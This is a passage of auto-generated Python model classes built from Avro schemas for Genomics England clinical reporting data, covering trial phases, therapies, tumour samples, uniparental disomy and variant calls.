return str(self).__hash__()
class StudyPhase(object):
"""
N/A: Trials without phases (for example, studies of devices or
behavioural interventions). Early Phase 1 (Formerly listed as
"Phase 0"): Exploratory trials, involving very limited human
exposure, with no therapeutic or diagnostic intent (e.g.,
screening studies, microdose studies). See FDA guidance on
exploratory IND studies for more information. Phase 1:
Includes initial studies to determine the metabolism and
pharmacologic actions of drugs in humans, the side effects
associated with increasing doses, and to gain early evidence of
effectiveness; may include healthy participants and/or patients.
Phase 1/Phase 2: Trials that are a combination of phases 1 and 2.
Phase 2: Includes controlled clinical studies conducted to
evaluate the effectiveness of the drug for a particular indication
or indications in participants with the disease or condition under
study and to determine the common short-term side effects and
risks. Phase 2/Phase 3: Trials that are a combination of
phases 2 and 3. Phase 3: Includes trials conducted after
preliminary evidence suggesting effectiveness of the drug has been
obtained, and are intended to gather additional information to
evaluate the overall benefit-risk relationship of the drug.
Phase 4: Studies of FDA-approved drugs to delineate additional
information including the drug's risks, benefits, and optimal use.
"""
na = "na"
early_phase1 = "early_phase1"
phase1 = "phase1"
phase1_phase2 = "phase1_phase2"
phase2 = "phase2"
phase2_phase3 = "phase2_phase3"
phase3 = "phase3"
phase4 = "phase4"
def __hash__(self):
return str(self).__hash__()
class StudyType(object):
"""
* `Interventional (clinical trial)`: Participants are assigned
prospectively to an intervention or interventions according to a
protocol to evaluate the effect of the intervention(s) on
biomedical or other health related outcomes. * `Observational`:
Studies in human beings in which biomedical and/or health outcomes
are assessed in pre-defined groups of individuals. Participants in
the study may receive diagnostic, therapeutic, or other
interventions, but the investigator does not assign specific
interventions to the study participants. This includes when
participants receive interventions as part of routine medical
care, and a researcher studies the effect of the intervention. *
`Expanded Access`: An investigational drug product (including
biological product) available through expanded access for patients
who do not qualify for enrollment in a clinical trial. Expanded
Access includes all expanded access types under section 561 of the
Federal Food, Drug, and Cosmetic Act: (1) for individual patients,
including emergency use; (2) for intermediate-size patient
populations; and (3) under a treatment IND or treatment protocol.
(For more information on data requirements for this Study Type,
see Expanded Access Data Element Definitions).
"""
interventional = "interventional"
observational = "observational"
patient_registry = "patient_registry"
expanded_access = "expanded_access"
def __hash__(self):
return str(self).__hash__()
class SupportingReadType(object):
"""
No documentation
"""
spanning = "spanning"
flanking = "flanking"
inrepeat = "inrepeat"
def __hash__(self):
return str(self).__hash__()
class TernaryOption(object):
"""
This defines a yes/no/unknown case
"""
yes = "yes"
no = "no"
unknown = "unknown"
def __hash__(self):
return str(self).__hash__()
class Therapy(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "Therapy", "namespace": "org.gel.models.report.avro", "fields": [{"name":
"referenceUrl", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc":
""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""},
{"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name":
"drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification",
"symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity",
"altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity",
"reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication",
"contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring",
"increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name":
"otherInterventions", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name":
"InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation",
"behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]},
"doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"conditions",
"drugResponse",
"otherInterventions",
"referenceUrl",
"references",
"source",
"variantActionable",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'drugResponse': DrugResponse,
'otherInterventions': Intervention,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'drugResponse': DrugResponse,
'otherInterventions': Intervention,
}
return embeddedTypes[fieldName]
__slots__ = [
'conditions', 'drugResponse', 'otherInterventions',
'referenceUrl', 'references', 'source', 'variantActionable'
]
def __init__(self, **kwargs):
self.conditions = kwargs.get(
'conditions', None)
self.drugResponse = kwargs.get(
'drugResponse', None)
self.otherInterventions = kwargs.get(
'otherInterventions', None)
self.referenceUrl = kwargs.get(
'referenceUrl', None)
self.references = kwargs.get(
'references', None)
self.source = kwargs.get(
'source', None)
self.variantActionable = kwargs.get(
'variantActionable', None)
class Tier(object):
"""
Variant tiers as defined by Genomics England
"""
NONE = "NONE"
TIER1 = "TIER1"
TIER2 = "TIER2"
TIER3 = "TIER3"
TIER4 = "TIER4"
TIER5 = "TIER5"
TIERA = "TIERA"
TIERB = "TIERB"
def __hash__(self):
return str(self).__hash__()
class TimeUnit(object):
"""
No documentation
"""
years = "years"
months = "months"
weeks = "weeks"
days = "days"
hours = "hours"
minutes = "minutes"
na = "na"
def __hash__(self):
return str(self).__hash__()
class TissueSource(object):
"""
No documentation
"""
BMA_TUMOUR_SORTED_CELLS = "BMA_TUMOUR_SORTED_CELLS"
CT_GUIDED_BIOPSY = "CT_GUIDED_BIOPSY"
ENDOSCOPIC_BIOPSY = "ENDOSCOPIC_BIOPSY"
ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY = "ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY"
ENDOSCOPIC_ULTRASOUND_GUIDED_FNA = "ENDOSCOPIC_ULTRASOUND_GUIDED_FNA"
LAPAROSCOPIC_BIOPSY = "LAPAROSCOPIC_BIOPSY"
LAPAROSCOPIC_EXCISION = "LAPAROSCOPIC_EXCISION"
MRI_GUIDED_BIOPSY = "MRI_GUIDED_BIOPSY"
NON_GUIDED_BIOPSY = "NON_GUIDED_BIOPSY"
SURGICAL_RESECTION = "SURGICAL_RESECTION"
STEREOTACTICALLY_GUIDED_BIOPSY = "STEREOTACTICALLY_GUIDED_BIOPSY"
USS_GUIDED_BIOPSY = "USS_GUIDED_BIOPSY"
NON_STANDARD_BIOPSY = "NON_STANDARD_BIOPSY"
NOT_SPECIFIED = "NOT_SPECIFIED"
def __hash__(self):
return str(self).__hash__()
class TraitAssociation(object):
"""
No documentation
"""
established_risk_allele = "established_risk_allele"
likely_risk_allele = "likely_risk_allele"
uncertain_risk_allele = "uncertain_risk_allele"
protective = "protective"
def __hash__(self):
return str(self).__hash__()
class Trial(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "Trial", "namespace": "org.gel.models.report.avro", "fields": [{"name":
"studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""},
{"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate",
"type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""},
{"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols":
["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}],
"doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum",
"name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological",
"radiation", "behavioral", "genetic", "dietary_supplement", "combination_product",
"diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc":
""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose",
"doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening",
"health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name":
"studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols":
["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE",
"UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type":
["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type":
["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"conditions",
"demogrphicElegibilityCriteria",
"estimateCompletionDate",
"interventions",
"locations",
"phase",
"primaryPurpose",
"startDate",
"studyIdentifier",
"studyType",
"studyUrl",
"title",
"variantActionable",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'demogrphicElegibilityCriteria': DemographicElegibilityCriteria,
'interventions': Intervention,
'locations': TrialLocation,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'demogrphicElegibilityCriteria': DemographicElegibilityCriteria,
'interventions': Intervention,
'locations': TrialLocation,
}
return embeddedTypes[fieldName]
__slots__ = [
'conditions', 'demogrphicElegibilityCriteria',
'estimateCompletionDate', 'interventions', 'locations',
'phase', 'primaryPurpose', 'startDate', 'studyIdentifier',
'studyType', 'studyUrl', 'title', 'variantActionable'
]
def __init__(self, **kwargs):
self.conditions = kwargs.get(
'conditions', None)
self.demogrphicElegibilityCriteria = kwargs.get(
'demogrphicElegibilityCriteria', None)
self.estimateCompletionDate = kwargs.get(
'estimateCompletionDate', None)
self.interventions = kwargs.get(
'interventions', None)
self.locations = kwargs.get(
'locations', None)
self.phase = kwargs.get(
'phase', None)
self.primaryPurpose = kwargs.get(
'primaryPurpose', None)
self.startDate = kwargs.get(
'startDate', None)
self.studyIdentifier = kwargs.get(
'studyIdentifier', None)
self.studyType = kwargs.get(
'studyType', None)
self.studyUrl = kwargs.get(
'studyUrl', None)
self.title = kwargs.get(
'title', None)
self.variantActionable = kwargs.get(
'variantActionable', None)
class TrialLocation(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "TrialLocation", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]},
{"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"city",
"country",
"name",
"zip",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'city', 'country', 'name', 'zip'
]
def __init__(self, **kwargs):
self.city = kwargs.get(
'city', None)
self.country = kwargs.get(
'country', None)
self.name = kwargs.get(
'name', None)
self.zip = kwargs.get(
'zip', None)
class TumorigenesisClassification(object):
"""
No documentation
"""
driver = "driver"
passenger = "passenger"
modifier = "modifier"
def __hash__(self):
return str(self).__hash__()
class TumourContent(object):
"""
No documentation
"""
High = "High"
Medium = "Medium"
Low = "Low"
def __hash__(self):
return str(self).__hash__()
class TumourSample(ProtocolElement):
"""
A tumour sample
"""
_schemaSource = """
{"type": "record", "name": "TumourSample", "namespace": "org.gel.models.participant.avro", "doc":
"", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type":
"int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "tumourId", "type":
"string", "doc": ""}, {"name": "programmePhase", "type": ["null", {"type": "enum", "name":
"ProgrammePhase", "symbols": ["CRUK", "OXFORD", "CLL", "IIP", "MAIN", "EXPT"]}], "doc": ""},
{"name": "diseaseType", "type": ["null", {"type": "enum", "name": "diseaseType", "symbols":
["ADULT_GLIOMA", "BLADDER", "BREAST", "CARCINOMA_OF_UNKNOWN_PRIMARY", "CHILDHOOD", "COLORECTAL",
"ENDOCRINE", "ENDOMETRIAL_CARCINOMA", "HAEMONC", "HEPATOPANCREATOBILIARY", "LUNG",
"MALIGNANT_MELANOMA", "NASOPHARYNGEAL", "ORAL_OROPHARYNGEAL", "OVARIAN", "PROSTATE", "RENAL",
"SARCOMA", "SINONASAL", "TESTICULAR_GERM_CELL_TUMOURS", "UPPER_GASTROINTESTINAL", "OTHER",
"NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE", "CLASSICAL_HODGKINS",
"NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS", "T_CELL_LYMPHOMA"]}], "doc": ""}, {"name":
"diseaseSubType", "type": ["null", "string"], "doc": ""}, {"name": "clinicalSampleDateTime", "type":
["null", "string"], "doc": ""}, {"name": "tumourType", "type": ["null", {"type": "enum", "name":
"TumourType", "symbols": ["PRIMARY", "METASTATIC_RECURRENCE", "RECURRENCE_OF_PRIMARY_TUMOUR",
"METASTASES"]}], "doc": ""}, {"name": "tumourContent", "type": ["null", {"type": "enum", "name":
"TumourContent", "symbols": ["High", "Medium", "Low"]}], "doc": ""}, {"name": "source", "type":
["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR",
"BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA",
"FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type":
"enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE",
"CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}, {"name": "tissueSource", "type": ["null", {"type":
"enum", "name": "TissueSource", "symbols": ["BMA_TUMOUR_SORTED_CELLS", "CT_GUIDED_BIOPSY",
"ENDOSCOPIC_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_FNA",
"LAPAROSCOPIC_BIOPSY", "LAPAROSCOPIC_EXCISION", "MRI_GUIDED_BIOPSY", "NON_GUIDED_BIOPSY",
"SURGICAL_RESECTION", "STEREOTACTICALLY_GUIDED_BIOPSY", "USS_GUIDED_BIOPSY", "NON_STANDARD_BIOPSY",
"NOT_SPECIFIED"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name":
"Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "morphologyICD", "type": ["null",
"string"], "doc": ""}, {"name": "morphologySnomedCT", "type": ["null", "string"], "doc": ""},
{"name": "morphologySnomedRT", "type": ["null", "string"], "doc": ""}, {"name": "topographyICD",
"type": ["null", "string"], "doc": ""}, {"name": "topographySnomedCT", "type": ["null", "string"],
"doc": ""}, {"name": "topographySnomedRT", "type": ["null", "string"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"LDPCode",
"clinicalSampleDateTime",
"diseaseSubType",
"diseaseType",
"labSampleId",
"morphologyICD",
"morphologySnomedCT",
"morphologySnomedRT",
"preparationMethod",
"product",
"programmePhase",
"sampleId",
"source",
"tissueSource",
"topographyICD",
"topographySnomedCT",
"topographySnomedRT",
"tumourContent",
"tumourId",
"tumourType",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'LDPCode', 'clinicalSampleDateTime', 'diseaseSubType',
'diseaseType', 'labSampleId', 'morphologyICD',
'morphologySnomedCT', 'morphologySnomedRT',
'preparationMethod', 'product', 'programmePhase', 'sampleId',
'source', 'tissueSource', 'topographyICD',
'topographySnomedCT', 'topographySnomedRT', 'tumourContent',
'tumourId', 'tumourType'
]
def __init__(self, **kwargs):
self.LDPCode = kwargs.get(
'LDPCode', None)
self.clinicalSampleDateTime = kwargs.get(
'clinicalSampleDateTime', None)
self.diseaseSubType = kwargs.get(
'diseaseSubType', None)
self.diseaseType = kwargs.get(
'diseaseType', None)
self.labSampleId = kwargs.get(
'labSampleId', None)
self.morphologyICD = kwargs.get(
'morphologyICD', None)
self.morphologySnomedCT = kwargs.get(
'morphologySnomedCT', None)
self.morphologySnomedRT = kwargs.get(
'morphologySnomedRT', None)
self.preparationMethod = kwargs.get(
'preparationMethod', None)
self.product = kwargs.get(
'product', None)
self.programmePhase = kwargs.get(
'programmePhase', None)
self.sampleId = kwargs.get(
'sampleId', None)
self.source = kwargs.get(
'source', None)
self.tissueSource = kwargs.get(
'tissueSource', None)
self.topographyICD = kwargs.get(
'topographyICD', None)
self.topographySnomedCT = kwargs.get(
'topographySnomedCT', None)
self.topographySnomedRT = kwargs.get(
'topographySnomedRT', None)
self.tumourContent = kwargs.get(
'tumourContent', None)
self.tumourId = kwargs.get(
'tumourId', None)
self.tumourType = kwargs.get(
'tumourType', None)
class TumourType(object):
"""
No documentation
"""
PRIMARY = "PRIMARY"
METASTATIC_RECURRENCE = "METASTATIC_RECURRENCE"
RECURRENCE_OF_PRIMARY_TUMOUR = "RECURRENCE_OF_PRIMARY_TUMOUR"
METASTASES = "METASTASES"
def __hash__(self):
return str(self).__hash__()
class UniparentalDisomy(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "UniparentalDisomy", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38",
"GRCh37"]}, "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete",
"type": ["null", "boolean"], "doc": ""}, {"name": "origin", "type": {"type": "enum", "name":
"UniparentalDisomyOrigin", "symbols": ["paternal", "maternal", "unknown"]}, "doc": ""}, {"name":
"uniparentalDisomyFragments", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"UniparentalDisomyFragment", "fields": [{"name": "coordinates", "type": ["null", {"type": "record",
"name": "Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name": "chromosome",
"type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name":
"ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name":
"left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null",
"ConfidenceInterval"]}]}], "doc": ""}, {"name": "uniparentalDisomyType", "type": {"type": "enum",
"name": "UniparentalDisomyType", "symbols": ["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}}],
"doc": ""}, {"name": "participantId", "type": "string", "doc": ""}, {"name":
"uniparentalDisomyEvidences", "type": ["null", {"type": "record", "name":
"UniparentalDisomyEvidences", "fields": [{"name": "ibds", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name": "relatedSample",
"type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type": "float"}, {"name":
"ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"assembly",
"chromosome",
"complete",
"origin",
"participantId",
"uniparentalDisomyEvidences",
"uniparentalDisomyFragments",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'uniparentalDisomyEvidences': UniparentalDisomyEvidences,
'uniparentalDisomyFragments': UniparentalDisomyFragment,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'uniparentalDisomyEvidences': UniparentalDisomyEvidences,
'uniparentalDisomyFragments': UniparentalDisomyFragment,
}
return embeddedTypes[fieldName]
__slots__ = [
'assembly', 'chromosome', 'complete', 'origin',
'participantId', 'uniparentalDisomyEvidences',
'uniparentalDisomyFragments'
]
def __init__(self, **kwargs):
self.assembly = kwargs.get(
'assembly', None)
self.chromosome = kwargs.get(
'chromosome', None)
self.complete = kwargs.get(
'complete', None)
self.origin = kwargs.get(
'origin', None)
self.participantId = kwargs.get(
'participantId', None)
self.uniparentalDisomyEvidences = kwargs.get(
'uniparentalDisomyEvidences', None)
self.uniparentalDisomyFragments = kwargs.get(
'uniparentalDisomyFragments', None)
class UniparentalDisomyEvidences(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "UniparentalDisomyEvidences", "namespace": "org.gel.models.report.avro",
"fields": [{"name": "ibds", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"IdentityByDescent", "fields": [{"name": "relatedSample", "type": "string"}, {"name": "ibd0",
"type": "float"}, {"name": "ibd1", "type": "float"}, {"name": "ibd2", "type": "float"}, {"name":
"pihat", "type": "float"}]}}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"ibds",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'ibds': IdentityByDescent,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'ibds': IdentityByDescent,
}
return embeddedTypes[fieldName]
__slots__ = [
'ibds'
]
def __init__(self, **kwargs):
self.ibds = kwargs.get(
'ibds', None)
class UniparentalDisomyFragment(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "UniparentalDisomyFragment", "namespace": "org.gel.models.report.avro",
"fields": [{"name": "coordinates", "type": ["null", {"type": "record", "name": "Coordinates",
"fields": [{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols":
["GRCh38", "GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"},
{"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name":
"ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type":
"int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}], "doc": ""}, {"name":
"uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols":
["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"coordinates",
"uniparentalDisomyType",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'coordinates': Coordinates,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'coordinates': Coordinates,
}
return embeddedTypes[fieldName]
__slots__ = [
'coordinates', 'uniparentalDisomyType'
]
def __init__(self, **kwargs):
self.coordinates = kwargs.get(
'coordinates', None)
self.uniparentalDisomyType = kwargs.get(
'uniparentalDisomyType', None)
class UniparentalDisomyOrigin(object):
"""
No documentation
"""
paternal = "paternal"
maternal = "maternal"
unknown = "unknown"
def __hash__(self):
return str(self).__hash__()
class UniparentalDisomyType(object):
"""
No documentation
"""
isodisomy = "isodisomy"
heterodisomy = "heterodisomy"
both = "both"
def __hash__(self):
return str(self).__hash__()
class User(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "User", "namespace": "org.gel.models.report.avro", "fields": [{"name":
"username", "type": "string"}, {"name": "role", "type": "string"}, {"name": "email", "type":
"string"}, {"name": "groups", "type": {"type": "array", "items": "string"}}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"email",
"groups",
"role",
"username",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'email', 'groups', 'role', 'username'
]
def __init__(self, **kwargs):
self.email = kwargs.get(
'email', None)
self.groups = kwargs.get(
'groups', None)
self.role = kwargs.get(
'role', None)
self.username = kwargs.get(
'username', None)
class ValidationResult(object):
"""
No documentation
"""
NotPerformed = "NotPerformed"
Confirmed = "Confirmed"
NotConfirmed = "NotConfirmed"
def __hash__(self):
return str(self).__hash__()
class VariantAttributes(ProtocolElement):
"""
Some additional variant attributes
"""
_schemaSource = """
{"type": "record", "name": "VariantAttributes", "namespace": "org.gel.models.report.avro", "doc":
"", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items": "string"}], "doc":
""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""},
{"name": "additionalTextualVariantAnnotations", "type": ["null", {"type": "map", "values":
"string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map", "values":
"string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record", "name":
"VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""},
{"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier",
"fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string",
"doc": ""}]}}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name": "study", "type":
"string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name":
"alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name":
"additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc":
""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""},
{"name": "alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name":
"AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant",
"paternal_variant", "pedigree_specific_variant", "population_specific_variant",
"somatic_variant"]}}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name":
"recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null",
"float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}],
"doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"additionalNumericVariantAnnotations",
"additionalTextualVariantAnnotations",
"alleleFrequencies",
"alleleOrigins",
"cdnaChanges",
"comments",
"fdp50",
"genomicChanges",
"ihp",
"others",
"proteinChanges",
"recurrentlyReported",
"references",
"variantIdentifiers",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'alleleFrequencies': AlleleFrequency,
'variantIdentifiers': VariantIdentifiers,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'alleleFrequencies': AlleleFrequency,
'variantIdentifiers': VariantIdentifiers,
}
return embeddedTypes[fieldName]
__slots__ = [
'additionalNumericVariantAnnotations',
'additionalTextualVariantAnnotations', 'alleleFrequencies',
'alleleOrigins', 'cdnaChanges', 'comments', 'fdp50',
'genomicChanges', 'ihp', 'others', 'proteinChanges',
'recurrentlyReported', 'references', 'variantIdentifiers'
]
def __init__(self, **kwargs):
self.additionalNumericVariantAnnotations = kwargs.get(
'additionalNumericVariantAnnotations', None)
self.additionalTextualVariantAnnotations = kwargs.get(
'additionalTextualVariantAnnotations', None)
self.alleleFrequencies = kwargs.get(
'alleleFrequencies', None)
self.alleleOrigins = kwargs.get(
'alleleOrigins', None)
self.cdnaChanges = kwargs.get(
'cdnaChanges', None)
self.comments = kwargs.get(
'comments', None)
self.fdp50 = kwargs.get(
'fdp50', None)
self.genomicChanges = kwargs.get(
'genomicChanges', None)
self.ihp = kwargs.get(
'ihp', None)
self.others = kwargs.get(
'others', None)
self.proteinChanges = kwargs.get(
'proteinChanges', None)
self.recurrentlyReported = kwargs.get(
'recurrentlyReported', None)
self.references = kwargs.get(
'references', None)
self.variantIdentifiers = kwargs.get(
'variantIdentifiers', None)
class VariantCall(ProtocolElement):
"""
This is intended to hold the genotypes for the family members.
This assumes that varinats have been split before. In
principle it is a phased zygosity as in VCF spec and called by the
analysis provider if further phasing is conducted
"""
_schemaSource = """
{"type": "record", "name": "VariantCall", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type":
"string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "",
"symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing",
"half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous",
"unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name":
"PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}},
{"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type":
["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""},
{"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type":
